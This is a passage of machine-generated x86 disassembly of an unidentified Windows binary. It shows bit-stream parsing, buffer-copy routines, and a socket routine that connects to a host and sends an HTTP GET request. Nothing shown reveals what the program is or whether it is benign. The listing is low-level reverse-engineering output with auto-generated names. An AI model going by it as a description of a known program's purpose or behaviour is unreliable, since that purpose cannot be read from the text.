		mov	[esi+0Ch], eax
		jnz	short loc_9B4A6D


loc_9B4A69:				; CODE XREF: sub_9B494C+8Cj
		xor	eax, eax
		jmp	short loc_9B4A86
; ---------------------------------------------------------------------------


loc_9B4A6D:				; CODE XREF: sub_9B494C+11Bj
		mov	ecx, [edi]
		add	ebx, 40h
		push	ebx		; Size
		add	ecx, 3C000h
		push	ecx		; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch


loc_9B4A83:				; CODE XREF: sub_9B494C+101j
		xor	eax, eax
		inc	eax


loc_9B4A86:				; CODE XREF: sub_9B494C+11Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9B494C	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B4A8B	proc near		; CODE XREF: sub_9B4C4B+20Dp
					; sub_9B4C4B+222p

arg_0		= dword	ptr  4

		push	esi
		call	sub_9B3A73
		test	ah, ah
		pop	ecx
		jns	short loc_9B4AB1
		and	dword ptr [edi+4], 0
		shr	eax, 0Ch
		and	eax, 7
		mov	[edi+8], eax
		lea	eax, [ebx+eax*4+4]
		mov	[edi], eax
		mov	eax, [esi+0Ch]
		add	eax, 4
		jmp	short loc_9B4AD5
; ---------------------------------------------------------------------------


loc_9B4AB1:				; CODE XREF: sub_9B4A8B+9j
		test	ah, 0C0h
		jnz	short loc_9B4B02
		cmp	[esp+arg_0], 0
		mov	dword ptr [edi+4], 1
		jz	short loc_9B4AE4
		shr	eax, 6
		and	eax, 0FFh
		mov	[edi+8], eax
		mov	eax, [esi+0Ch]
		add	eax, 0Ah


loc_9B4AD5:				; CODE XREF: sub_9B4A8B+24j
					; sub_9B4A8B+9Cj
		mov	ecx, eax
		sar	ecx, 3
		add	[esi+8], ecx
		and	eax, 7
		mov	[esi+0Ch], eax
		retn
; ---------------------------------------------------------------------------


loc_9B4AE4:				; CODE XREF: sub_9B4A8B+37j
		mov	eax, [esi+0Ch]
		inc	eax
		inc	eax
		mov	ecx, eax
		sar	ecx, 3
		add	[esi+8], ecx
		and	eax, 7
		push	esi
		mov	[esi+0Ch], eax
		call	sub_9B3AA1
		mov	[edi+8], eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_9B4B02:				; CODE XREF: sub_9B4A8B+29j
		test	ah, 20h
		mov	dword ptr [edi+4], 2
		jnz	short loc_9B4B29
		and	dword ptr [edi+0Ch], 0
		shr	eax, 0Ah
		and	eax, 7
		mov	[edi+8], eax
		lea	eax, [ebx+eax*4+4]
		mov	[edi], eax
		mov	eax, [esi+0Ch]
		add	eax, 6
		jmp	short loc_9B4AD5
; ---------------------------------------------------------------------------


loc_9B4B29:				; CODE XREF: sub_9B4A8B+81j
		test	ah, 10h
		jnz	short loc_9B4B45
		shr	eax, 9
		and	eax, 7
		mov	[edi+8], eax
		lea	eax, [ebx+eax*4+4]
		mov	[edi], eax
		mov	eax, [esi+0Ch]
		add	eax, 7
		jmp	short loc_9B4B4F
; ---------------------------------------------------------------------------


loc_9B4B45:				; CODE XREF: sub_9B4A8B+A1j
		and	dword ptr [edi+8], 0
		mov	eax, [esi+0Ch]
		add	eax, 4


loc_9B4B4F:				; CODE XREF: sub_9B4A8B+B8j
		mov	ecx, eax
		sar	ecx, 3
		add	[esi+8], ecx
		and	eax, 7
		push	esi
		mov	[esi+0Ch], eax
		call	sub_9B3AA1
		mov	[edi+0Ch], eax
		pop	ecx
		retn
sub_9B4A8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B4B68	proc near		; CODE XREF: sub_9B4C4B+2F2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx]
		mov	ecx, [ecx+20h]
		test	ecx, ecx
		jle	locret_9B4C49
		push	ebx
		push	esi
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], ecx
		push	edi


loc_9B4B87:				; CODE XREF: sub_9B4B68+D8j
		mov	esi, [eax]
		mov	edx, esi
		sub	edx, 0
		jz	loc_9B4C2B
		dec	edx
		jz	loc_9B4C1F
		test	byte_9BADC0[esi], 40h
		jz	loc_9B4C37
		mov	edi, [ebp+var_4]
		cmp	edi, ecx
		jge	short loc_9B4BCD
		lea	edx, [eax+28h]


loc_9B4BB2:				; CODE XREF: sub_9B4B68+63j
		mov	ebx, [edx]
		movzx	ebx, byte_9BADC0[ebx]
		test	bl, 38h
		jnz	short loc_9B4C37
		test	bl, 40h
		jnz	short loc_9B4BCD
		inc	edi
		add	edx, 28h
		cmp	edi, ecx
		jl	short loc_9B4BB2


loc_9B4BCD:				; CODE XREF: sub_9B4B68+45j
					; sub_9B4B68+5Bj
		mov	edx, esi
		dec	edx
		dec	edx
		jz	short loc_9B4C13
		dec	edx
		jz	short loc_9B4C07
		sub	edx, 3
		jz	short loc_9B4BFB
		dec	edx
		jz	short loc_9B4BEF
		sub	edx, 14h
		jnz	short loc_9B4C37
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 35h
		jmp	short loc_9B4C35
; ---------------------------------------------------------------------------


loc_9B4BEF:				; CODE XREF: sub_9B4B68+74j
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 33h
		jmp	short loc_9B4C35
; ---------------------------------------------------------------------------


loc_9B4BFB:				; CODE XREF: sub_9B4B68+71j
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 31h
		jmp	short loc_9B4C35
; ---------------------------------------------------------------------------


loc_9B4C07:				; CODE XREF: sub_9B4B68+6Cj
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 2Fh
		jmp	short loc_9B4C35
; ---------------------------------------------------------------------------


loc_9B4C13:				; CODE XREF: sub_9B4B68+69j
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 2Dh
		jmp	short loc_9B4C35
; ---------------------------------------------------------------------------


loc_9B4C1F:				; CODE XREF: sub_9B4B68+2Dj
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 2Bh
		jmp	short loc_9B4C35
; ---------------------------------------------------------------------------


loc_9B4C2B:				; CODE XREF: sub_9B4B68+26j
		mov	edx, [eax+4]
		neg	edx
		sbb	edx, edx
		add	edx, 29h


loc_9B4C35:				; CODE XREF: sub_9B4B68+85j
					; sub_9B4B68+91j ...
		mov	[eax], edx


loc_9B4C37:				; CODE XREF: sub_9B4B68+3Aj
					; sub_9B4B68+56j ...
		add	eax, 28h
		inc	[ebp+var_4]
		dec	[ebp+var_8]
		jnz	loc_9B4B87
		pop	edi
		pop	esi
		pop	ebx

locret_9B4C49:				; CODE XREF: sub_9B4B68+Cj
		leave
		retn
sub_9B4B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B4C4B(int,int,void *Src,int,int)

sub_9B4C4B	proc near		; CODE XREF: sub_9B0E04+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Src		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_4]
		and	dword ptr [esi+0Ch], 0
		and	dword ptr [esi+8], 0
		mov	eax, 8000h
		cmp	ebx, eax
		push	edi
		jge	short loc_9B4C6B
		mov	eax, ebx


loc_9B4C6B:				; CODE XREF: sub_9B4C4B+1Cj
		mov	edi, [ebp+Src]
		push	eax		; Size
		push	edi		; Src
		push	dword ptr [esi]	; Dst
		call	memcpy
		xor	eax, eax
		inc	eax
		add	esp, 0Ch
		xor	cl, cl
		cmp	ebx, eax
		jle	short loc_9B4C8B


loc_9B4C83:				; CODE XREF: sub_9B4C4B+3Ej
		xor	cl, [eax+edi]
		inc	eax
		cmp	eax, ebx
		jl	short loc_9B4C83


loc_9B4C8B:				; CODE XREF: sub_9B4C4B+36j
		mov	eax, [esi+0Ch]
		mov	ebx, [ebp+arg_10]
		add	eax, 8
		mov	edx, eax
		sar	edx, 3
		add	[esi+8], edx
		and	eax, 7
		mov	[esi+0Ch], eax
		and	dword ptr [ebx+20h], 0
		cmp	cl, [edi]
		jnz	loc_9B4ED4
		push	edi
		mov	edi, [ebp+arg_C]
		call	sub_9B3BA1
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_9B4CF8
		push	1
		push	ebx
		call	sub_9B2420
		mov	edx, [ebx]
		pop	ecx
		pop	ecx
		mov	ecx, [ebx+20h]
		lea	eax, [ecx+ecx*4]
		lea	eax, [edx+eax*8]
		inc	ecx
		and	[ebp+arg_C], 0
		mov	[ebx+20h], ecx
		lea	ecx, [eax+10h]
		mov	[ecx], edi
		mov	[eax+8], ecx
		lea	ecx, [eax+20h]
		push	3
		mov	[eax+18h], ecx
		pop	ecx
		mov	dword ptr [eax], 36h
		mov	[eax+1Ch], ecx
		mov	[eax+0Ch], ecx


loc_9B4CF8:				; CODE XREF: sub_9B4C4B+71j
		push	esi
		call	sub_9B3A73
		pop	ecx
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	edx, ecx
		sar	edx, 3
		add	[esi+8], edx
		and	ecx, 7
		test	ah, ah
		mov	[esi+0Ch], ecx
		jns	loc_9B4EC8
		push	esi
		call	sub_9B3AA1
		mov	edi, eax
		inc	edi
		push	edi		; Size
		mov	[ebp+Src], edi
		call	sub_9B254A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebx+10h], eax
		jz	short loc_9B4D9F
		mov	eax, [esi+8]
		and	[ebp+arg_4], 0
		cmp	eax, [ebp+arg_C]
		jge	loc_9B4EC8
		jmp	short loc_9B4D49
; ---------------------------------------------------------------------------


loc_9B4D46:				; CODE XREF: sub_9B4C4B+14Dj
		mov	edi, [ebp+Src]


loc_9B4D49:				; CODE XREF: sub_9B4C4B+F9j
		cmp	[ebp+arg_4], edi
		jge	loc_9B4EC8
		inc	dword ptr [ebx+1Ch]
		push	dword ptr [ebx+1Ch] ; NewSize
		push	dword ptr [ebx+10h] ; Memory
		call	sub_9B2565
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		mov	[ebx+10h], edi
		jz	short loc_9B4D9F
		push	esi
		call	sub_9B3A73
		shr	eax, 8
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[edi+ecx], al
		mov	eax, [esi+0Ch]
		add	eax, 8
		mov	ecx, eax
		and	eax, 7
		sar	ecx, 3
		add	[esi+8], ecx
		inc	[ebp+arg_4]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+arg_C]
		cmp	[esi+8], eax
		jl	short loc_9B4D46
		jmp	loc_9B4EC8
; ---------------------------------------------------------------------------


loc_9B4D9F:				; CODE XREF: sub_9B4C4B+E7j
					; sub_9B4C4B+11Ej
		xor	eax, eax
		jmp	loc_9B4F45
; ---------------------------------------------------------------------------


loc_9B4DA6:				; CODE XREF: sub_9B4C4B+283j
		push	1
		push	ebx
		call	sub_9B2420
		mov	eax, [ebx+20h]
		mov	ecx, [ebx]
		lea	eax, [eax+eax*4]
		lea	edi, [ecx+eax*8]
		push	esi
		mov	[ebp+arg_4], edi
		call	sub_9B3A73
		add	esp, 0Ch
		test	ah, ah
		js	short loc_9B4DD6
		shr	eax, 0Ch
		mov	[edi], eax
		mov	eax, [esi+0Ch]
		add	eax, 4
		jmp	short loc_9B4DE4
; ---------------------------------------------------------------------------


loc_9B4DD6:				; CODE XREF: sub_9B4C4B+17Cj
		shr	eax, 0Ah
		sub	eax, 18h
		mov	[edi], eax
		mov	eax, [esi+0Ch]
		add	eax, 6


loc_9B4DE4:				; CODE XREF: sub_9B4C4B+189j
		mov	ecx, eax
		and	eax, 7
		sar	ecx, 3
		add	[esi+8], ecx
		mov	[esi+0Ch], eax
		mov	eax, [edi]
		test	byte_9BADC0[eax], 4
		jz	short loc_9B4E1E
		push	esi
		call	sub_9B3A73
		shr	eax, 0Fh
		mov	[edi+4], eax
		mov	eax, [esi+0Ch]
		inc	eax
		pop	ecx
		mov	ecx, eax
		sar	ecx, 3
		add	[esi+8], ecx
		and	eax, 7
		mov	[esi+0Ch], eax
		jmp	short loc_9B4E22
; ---------------------------------------------------------------------------


loc_9B4E1E:				; CODE XREF: sub_9B4C4B+1B0j
		and	dword ptr [edi+4], 0


loc_9B4E22:				; CODE XREF: sub_9B4C4B+1D1j
		mov	ecx, [edi]
		push	3
		pop	eax
		mov	[edi+1Ch], eax
		mov	[edi+0Ch], eax
		movzx	ecx, byte_9BADC0[ecx]
		and	ecx, eax
		lea	eax, [edi+18h]
		mov	[ebp+var_4], eax
		mov	dword ptr [eax], 0
		lea	eax, [edi+8]
		mov	[ebp+Src], ecx
		mov	dword ptr [eax], 0
		jle	short loc_9B4EC5
		push	dword ptr [edi+4]
		mov	ebx, [ebp+arg_0]
		mov	edi, eax
		call	sub_9B4A8B
		cmp	[ebp+Src], 2
		pop	ecx
		jnz	short loc_9B4E75
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+4]
		mov	edi, [ebp+var_4]
		call	sub_9B4A8B
		pop	ecx
		jmp	short loc_9B4EC2
; ---------------------------------------------------------------------------


loc_9B4E75:				; CODE XREF: sub_9B4C4B+217j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+0Ch], 1
		jnz	short loc_9B4EC2
		mov	eax, [ecx]
		test	byte_9BADC0[eax], 18h
		jz	short loc_9B4EC2
		mov	eax, [ecx+10h]
		mov	edx, 100h
		cmp	eax, edx
		jl	short loc_9B4E99
		sub	eax, edx
		jmp	short loc_9B4EBF
; ---------------------------------------------------------------------------


loc_9B4E99:				; CODE XREF: sub_9B4C4B+248j
		cmp	eax, 88h
		jl	short loc_9B4EA7
		sub	eax, 108h
		jmp	short loc_9B4EB9
; ---------------------------------------------------------------------------


loc_9B4EA7:				; CODE XREF: sub_9B4C4B+253j
		cmp	eax, 10h
		jl	short loc_9B4EB1
		sub	eax, 8
		jmp	short loc_9B4EB9
; ---------------------------------------------------------------------------


loc_9B4EB1:				; CODE XREF: sub_9B4C4B+25Fj
		cmp	eax, 8
		jl	short loc_9B4EB9
		sub	eax, 10h


loc_9B4EB9:				; CODE XREF: sub_9B4C4B+25Aj
					; sub_9B4C4B+264j ...
		mov	edx, [ebp+arg_10]
		add	eax, [edx+20h]


loc_9B4EBF:				; CODE XREF: sub_9B4C4B+24Cj
		mov	[ecx+10h], eax


loc_9B4EC2:				; CODE XREF: sub_9B4C4B+228j
					; sub_9B4C4B+231j ...
		mov	ebx, [ebp+arg_10]


loc_9B4EC5:				; CODE XREF: sub_9B4C4B+203j
		inc	dword ptr [ebx+20h]


loc_9B4EC8:				; CODE XREF: sub_9B4C4B+C8j
					; sub_9B4C4B+F3j ...
		mov	eax, [ebp+arg_C]
		cmp	[esi+8], eax
		jl	loc_9B4DA6


loc_9B4ED4:				; CODE XREF: sub_9B4C4B+5Dj
		push	1
		push	ebx
		call	sub_9B2420
		mov	edx, [ebx]
		pop	ecx
		pop	ecx
		mov	ecx, [ebx+20h]
		lea	eax, [ecx+ecx*4]
		lea	eax, [edx+eax*8]
		inc	ecx
		mov	[ebx+20h], ecx
		lea	ecx, [eax+10h]
		mov	[eax+8], ecx
		lea	ecx, [eax+20h]
		mov	[eax+18h], ecx
		push	3
		pop	ecx
		mov	[eax+1Ch], ecx
		mov	[eax+0Ch], ecx
		xor	edx, edx
		mov	dword ptr [eax], 16h
		xor	ecx, ecx
		cmp	[ebx+20h], edx
		jle	short loc_9B4F36
		xor	esi, esi


loc_9B4F13:				; CODE XREF: sub_9B4C4B+2E9j
		mov	eax, [ebx]
		add	eax, esi
		cmp	[eax+8], edx
		jnz	short loc_9B4F22
		lea	edi, [eax+10h]
		mov	[eax+8], edi


loc_9B4F22:				; CODE XREF: sub_9B4C4B+2CFj
		cmp	[eax+18h], edx
		jnz	short loc_9B4F2D
		lea	edi, [eax+20h]
		mov	[eax+18h], edi


loc_9B4F2D:				; CODE XREF: sub_9B4C4B+2DAj
		inc	ecx
		add	esi, 28h
		cmp	ecx, [ebx+20h]
		jl	short loc_9B4F13


loc_9B4F36:				; CODE XREF: sub_9B4C4B+2C4j
		cmp	[ebp+arg_C], edx
		jz	short loc_9B4F42
		mov	ecx, ebx
		call	sub_9B4B68


loc_9B4F42:				; CODE XREF: sub_9B4C4B+2EEj
		xor	eax, eax
		inc	eax


loc_9B4F45:				; CODE XREF: sub_9B4C4B+156j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B4C4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B4F4A	proc near		; CODE XREF: sub_9B02F5+8Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_9BB318
		mov	[eax], ecx
		mov	eax, dword_9BB31C
		retn
sub_9B4F4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B4F5C	proc near		; CODE XREF: sub_9B239F+11p
					; sub_9B50DB+Dp ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 200200h
		jnz	short loc_9B4F81
		xor	eax, eax
		cmp	dword_9BB31C, eax
		jz	short loc_9B4F9F
		mov	dword_9BB31C, eax
		mov	dword_9BB318, eax
		mov	dword_9BB320, eax
		jmp	short loc_9B4F9C
; ---------------------------------------------------------------------------


loc_9B4F81:				; CODE XREF: sub_9B4F5C+8j
		cmp	[esp+arg_0], 100100h
		jnz	short loc_9B4F9F
		xor	eax, eax
		mov	dword_9BB324, eax
		mov	dword_9BB328, eax
		mov	dword_9BB32C, eax


loc_9B4F9C:				; CODE XREF: sub_9B4F5C+23j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_9B4F9F:				; CODE XREF: sub_9B4F5C+12j
					; sub_9B4F5C+2Dj
		or	eax, 0FFFFFFFFh
		retn
sub_9B4F5C	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B4FA3(int,void *Dst,size_t Size)

sub_9B4FA3	proc near		; CODE XREF: sub_9B04E9+71p
					; sub_9B1DF0+21p ...

arg_0		= dword	ptr  4
Dst		= dword	ptr  8
Size		= dword	ptr  0Ch

		cmp	[esp+arg_0], 100100h
		push	esi
		mov	esi, [esp+4+Size]
		jnz	short loc_9B4FFA
		mov	edx, dword_9BB324
		test	edx, edx
		jz	short loc_9B4FFA
		mov	ecx, dword_9BB328
		test	ecx, ecx
		jz	short loc_9B4FFA
		mov	eax, dword_9BB32C
		cmp	eax, ecx
		jl	short loc_9B4FD3
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B4FD3:				; CODE XREF: sub_9B4FA3+2Aj
		push	edi
		lea	edi, [eax+esi]
		cmp	edi, ecx
		pop	edi
		jle	short loc_9B4FE0
		sub	ecx, eax
		mov	esi, ecx


loc_9B4FE0:				; CODE XREF: sub_9B4FA3+37j
		push	esi		; Size
		add	eax, edx
		push	eax		; Src
		push	[esp+0Ch+Dst]	; Dst
		call	memcpy
		add	esp, 0Ch
		add	dword_9BB32C, esi
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B4FFA:				; CODE XREF: sub_9B4FA3+Dj
					; sub_9B4FA3+17j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_9B4FA3	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B4FFF(int,void *Src,size_t Size)

sub_9B4FFF	proc near		; CODE XREF: sub_9B05F5+Dp
					; sub_9B1FC1+46p

arg_0		= dword	ptr  4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		cmp	[esp+arg_0], 200200h
		push	esi
		mov	esi, [esp+4+Size]
		jnz	short loc_9B5056
		mov	edx, dword_9BB31C
		test	edx, edx
		jz	short loc_9B5056
		mov	ecx, dword_9BB318
		test	ecx, ecx
		jz	short loc_9B5056
		mov	eax, dword_9BB320
		cmp	eax, ecx
		jl	short loc_9B502F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B502F:				; CODE XREF: sub_9B4FFF+2Aj
		push	edi
		lea	edi, [eax+esi]
		cmp	edi, ecx
		pop	edi
		jle	short loc_9B503C
		sub	ecx, eax
		mov	esi, ecx


loc_9B503C:				; CODE XREF: sub_9B4FFF+37j
		push	esi		; Size
		push	[esp+8+Src]	; Src
		add	eax, edx
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		add	dword_9BB320, esi
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B5056:				; CODE XREF: sub_9B4FFF+Dj
					; sub_9B4FFF+17j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_9B4FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B505B	proc near		; CODE XREF: sub_9B1E8C+Fp
					; sub_9B1E8C+62p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 100100h
		jnz	short loc_9B509A
		cmp	[ebp+arg_8], 0
		jnz	short loc_9B5072
		mov	eax, [ebp+arg_4]
		jmp	short loc_9B5093
; ---------------------------------------------------------------------------


loc_9B5072:				; CODE XREF: sub_9B505B+10j
		cmp	[ebp+arg_8], 1
		jnz	short loc_9B5082
		mov	eax, dword_9BB32C
		add	eax, [ebp+arg_4]
		jmp	short loc_9B5093
; ---------------------------------------------------------------------------


loc_9B5082:				; CODE XREF: sub_9B505B+1Bj
		cmp	[ebp+arg_8], 2
		jnz	short loc_9B50D6
		mov	eax, [ebp+arg_4]
		mov	ecx, dword_9BB328
		add	eax, ecx


loc_9B5093:				; CODE XREF: sub_9B505B+15j
					; sub_9B505B+25j
		mov	dword_9BB32C, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_9B509A:				; CODE XREF: sub_9B505B+Aj
		cmp	[ebp+arg_0], 200200h
		jnz	short loc_9B50D6
		cmp	[ebp+arg_8], 0
		jnz	short loc_9B50AE
		mov	eax, [ebp+arg_4]
		jmp	short loc_9B50CF
; ---------------------------------------------------------------------------


loc_9B50AE:				; CODE XREF: sub_9B505B+4Cj
		cmp	[ebp+arg_8], 1
		jnz	short loc_9B50BE
		mov	eax, dword_9BB320
		add	eax, [ebp+arg_4]
		jmp	short loc_9B50CF
; ---------------------------------------------------------------------------


loc_9B50BE:				; CODE XREF: sub_9B505B+57j
		cmp	[ebp+arg_8], 2
		jnz	short loc_9B50D6
		mov	eax, [ebp+arg_4]
		mov	ecx, dword_9BB318
		add	eax, ecx


loc_9B50CF:				; CODE XREF: sub_9B505B+51j
					; sub_9B505B+61j
		mov	dword_9BB320, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_9B50D6:				; CODE XREF: sub_9B505B+2Bj
					; sub_9B505B+46j ...
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn
sub_9B505B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B50DB(int,char,size_t Size)

sub_9B50DB	proc near		; CODE XREF: sub_9B02F5+20p
					; sub_9B221A+A1p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
Size		= dword	ptr  0Ch

		test	[esp+arg_4], 2
		push	edi
		jz	short loc_9B5115
		push	200200h
		call	sub_9B4F5C
		mov	edi, [esp+8+Size]
		push	edi		; Size
		call	malloc
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_9BB31C, eax
		jz	short loc_9B5110
		mov	dword_9BB318, edi
		mov	eax, 200200h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_9B5110:				; CODE XREF: sub_9B50DB+26j
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_9B5115:				; CODE XREF: sub_9B50DB+6j
		mov	ecx, 100100h
		push	ecx
		call	sub_9B4F5C
		mov	eax, [esp+8+arg_0]
		mov	dword_9BB324, eax
		mov	eax, [esp+8+Size]
		add	esp, 4
		mov	dword_9BB328, eax
		mov	eax, ecx
		pop	edi
		retn
sub_9B50DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B5139(char *name,u_short netshort,int,int,char *Dest,size_t Count)

sub_9B5139	proc near		; CODE XREF: sub_9B5440+42p

buf		= byte ptr -834h
var_833		= byte ptr -833h
var_832		= byte ptr -832h
var_831		= byte ptr -831h
Src		= byte ptr -830h
var_34		= byte ptr -34h
in		= in_addr ptr -30h
var_24		= word ptr -24h
var_22		= word ptr -22h
Dst		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
s		= dword	ptr -10h
var_C		= dword	ptr -0Ch
namelen		= dword	ptr -8
Memory		= dword	ptr -4
name		= dword	ptr  8
netshort	= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Dest		= dword	ptr  18h
Count		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 834h
		mov	eax, [ebp+arg_C]
		push	edi
		push	[ebp+name]	; name
		xor	edi, edi
		mov	[eax], edi
		call	gethostbyname
		cmp	eax, edi
		jnz	short loc_9B515E
		xor	eax, eax
		jmp	loc_9B5342
; ---------------------------------------------------------------------------


loc_9B515E:				; CODE XREF: sub_9B5139+1Cj
		mov	eax, [eax+0Ch]
		push	ebx
		push	4		; Size
		push	dword ptr [eax]	; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memcpy
		push	8		; Size
		lea	eax, [ebp+var_1C]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		add	esp, 18h
		push	edi		; protocol
		push	1		; type
		push	2		; af
		call	socket
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+s], ebx
		jge	short loc_9B5199
		xor	eax, eax
		jmp	loc_9B5341
; ---------------------------------------------------------------------------


loc_9B5199:				; CODE XREF: sub_9B5139+57j
		push	esi
		push	dword ptr [ebp+netshort] ; netshort
		mov	[ebp+var_24], 2
		call	ntohs
		push	10h
		pop	esi
		mov	[ebp+var_22], ax
		push	esi		; namelen
		lea	eax, [ebp+var_24]
		push	eax		; name
		push	ebx		; s
		call	connect
		test	eax, eax
		jl	loc_9B5337
		cmp	[ebp+Dest], edi
		jz	short loc_9B51F4
		lea	eax, [ebp+namelen]
		push	eax		; namelen
		lea	eax, [ebp+var_34]
		push	eax		; name
		push	ebx		; s
		mov	[ebp+namelen], esi
		call	getsockname
		push	[ebp+Count]	; Count
		push	dword ptr [ebp+in.S_un]	; in
		call	inet_ntoa
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	strncpy
		add	esp, 0Ch


loc_9B51F4:				; CODE XREF: sub_9B5139+8Ej
		movzx	eax, [ebp+netshort]
		push	eax
		push	[ebp+name]
		mov	esi, 800h
		push	[ebp+arg_8]
		lea	eax, [ebp+buf]
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHost: %s:%d\r\nConnectio"...
		push	esi		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 18h
		lea	eax, [ebp+buf]
		push	edi		; flags
		push	eax		; Str
		call	strlen
		pop	ecx
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		push	ebx		; s
		call	send
		push	1388h
		push	esi
		lea	eax, [ebp+buf]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+Memory], edi
		push	ebx
		jmp	loc_9B531A
; ---------------------------------------------------------------------------


loc_9B5254:				; CODE XREF: sub_9B5139+1EDj
		cmp	[ebp+var_14], 0
		jz	loc_9B52E1
		xor	eax, eax
		lea	ecx, [ebx-3]
		test	ecx, ecx
		mov	[ebp+namelen], eax
		jle	loc_9B530A


loc_9B526E:				; CODE XREF: sub_9B5139+163j
		cmp	[ebp+eax+buf], 0Dh
		jnz	short loc_9B5296
		cmp	[ebp+eax+var_833], 0Ah
		jnz	short loc_9B5296
		cmp	[ebp+eax+var_832], 0Dh
		jnz	short loc_9B5296
		cmp	[ebp+eax+var_831], 0Ah
		jz	short loc_9B52A0


loc_9B5296:				; CODE XREF: sub_9B5139+13Dj
					; sub_9B5139+147j ...
		inc	eax
		cmp	eax, ecx
		mov	[ebp+namelen], eax
		jl	short loc_9B526E
		jmp	short loc_9B530A
; ---------------------------------------------------------------------------


loc_9B52A0:				; CODE XREF: sub_9B5139+15Bj
		and	[ebp+var_14], 0
		lea	ecx, [ebx-4]
		cmp	eax, ecx
		jge	short loc_9B530A
		sub	ebx, eax
		mov	[ebp+var_C], ebx
		add	ebx, edi
		lea	eax, [ebx-4]
		push	eax		; NewSize
		push	[ebp+Memory]	; Memory
		call	realloc
		mov	ecx, [ebp+var_C]
		add	ecx, 0FFFFFFFCh
		push	ecx		; Size
		mov	ecx, [ebp+namelen]
		lea	ecx, [ebp+ecx+Src]
		push	ecx		; Src
		add	edi, eax
		push	edi		; Dst
		mov	[ebp+Memory], eax
		call	memcpy
		lea	edi, [ebx-4]
		jmp	short loc_9B5307
; ---------------------------------------------------------------------------


loc_9B52E1:				; CODE XREF: sub_9B5139+11Fj
		lea	eax, [ebx+edi]
		push	eax		; NewSize
		push	[ebp+Memory]	; Memory
		mov	[ebp+var_C], eax
		call	realloc
		push	ebx		; Size
		lea	ecx, [ebp+buf]
		push	ecx		; Src
		add	edi, eax
		push	edi		; Dst
		mov	[ebp+Memory], eax
		call	memcpy
		mov	edi, [ebp+var_C]


loc_9B5307:				; CODE XREF: sub_9B5139+1A6j
		add	esp, 14h


loc_9B530A:				; CODE XREF: sub_9B5139+12Fj
					; sub_9B5139+165j ...
		push	1388h		; int
		push	esi		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
